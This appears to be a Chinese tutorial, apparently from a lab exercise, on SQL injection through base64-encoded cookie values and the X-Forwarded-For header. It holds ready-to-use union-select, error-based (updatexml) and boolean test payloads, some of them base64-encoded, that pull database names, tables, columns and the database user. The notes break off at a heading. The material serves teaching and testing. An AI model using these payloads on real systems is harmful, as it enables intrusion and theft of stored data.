base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符
编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句再执行,从而形SQL 注入。
代码中分析 base64 注入
从存在漏洞的代码中,首先判断是否有 POST 的 submit 参数过来如果有
使用$_COOKIE[‘uname’]获取 cookis 传过来的账号,再拼接到 SQL 带入查询。
这段代码的意思$cookee = base64_decode($cookee); 将$cookee 传过来的参数进
行解码,所以$cookee 传递过来的数据必须先进行编码,否则解码不了会导致出错。(‘’)
黑盒环境下对 base64 编码进行注入
首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。
如果存在类似==等,可以用 base64 解码进行测试。
1 | admin')and 1=1--+ 编码 YWRtaW4nYW5kIDE9MS0tIA== |
1 | admin')and 1=2--+ 编码 YWRtaW4nYW5kIDE9Mi0tIA== |
本次测试的页面是 cookie 所以需要 cookie 提交 而且有括号需要闭合
用 burpsuite 抓包后修改 cookie 参数提交
第一次提交页面返回存在 admin 第二次提交没有 admin 两个页面返回的结果不相同所以存在 SQL 注入
本代码存在 mysqli_error 函数所以可以里利用报错注入再进一步获取敏感信息。
1 | admin ') order by 4# |
注意闭合方式(‘’)
1 | -1 ' ) union select 1,database(),user()-- |
注意注释 空格也会被编码
1 | -1' ) union select 1,2,group_concat(user(),0x3A,database(),version())# |
获取库名
获取security库中的表
1 | -1 ') union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security')# |
获取users表中的字段名
1 | -1' ) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')# |
1 | admin')and (updatexml(1,concat(0x7e,(select database()),0x7e),1))-- |
报错信息回显
进行 base64 编码
1 | YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKS0tICA= |
提交获取敏感信息。
XXF 注入攻击
X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP
XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,
不会对 XFF 头进行过滤。
1 | <?php |
使用 burpsuite
1 | X-Forwarded-for: 9.9.9.9 |
可以随意设置字符串,如果程序中获取这个值再带入数据库查询 会造成 SQL 注入
除了 X-Forwarded-For 还有 HTTP_CLIENT_IP 都可以由客户端控制值
所以服务端接受这两个参数的时候 没有过滤会造成 SQL 注入或者更高的危害
xff 注入代码分析
1 | getenv('HTTP_X_FORWARDED_FOR') |
获取远程客户端的HTTP_X_FORWARDED_FOR的值
没有进行过滤拼接SQL语句带入查询造成注入
在黑盒环境下 xff 注入攻击
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’
用户在注册的时候,如果存在安全隐患 会出现错误页面或者报错。
从而导致注册或者登录用户失败。
burpsuite 抓包 提交 输入检测语句
1 | X-Forwarded-for: 127.0.0.1'and 1=1# |
两次提交返回不一样 存在 SQL 注入漏洞
获取敏感信息
1 | X-Forwarded-for: -127.0.0.1'union select 1,2,3,user()# |
输入提交包 后看到页面返回 root@loclhost
搜索框注入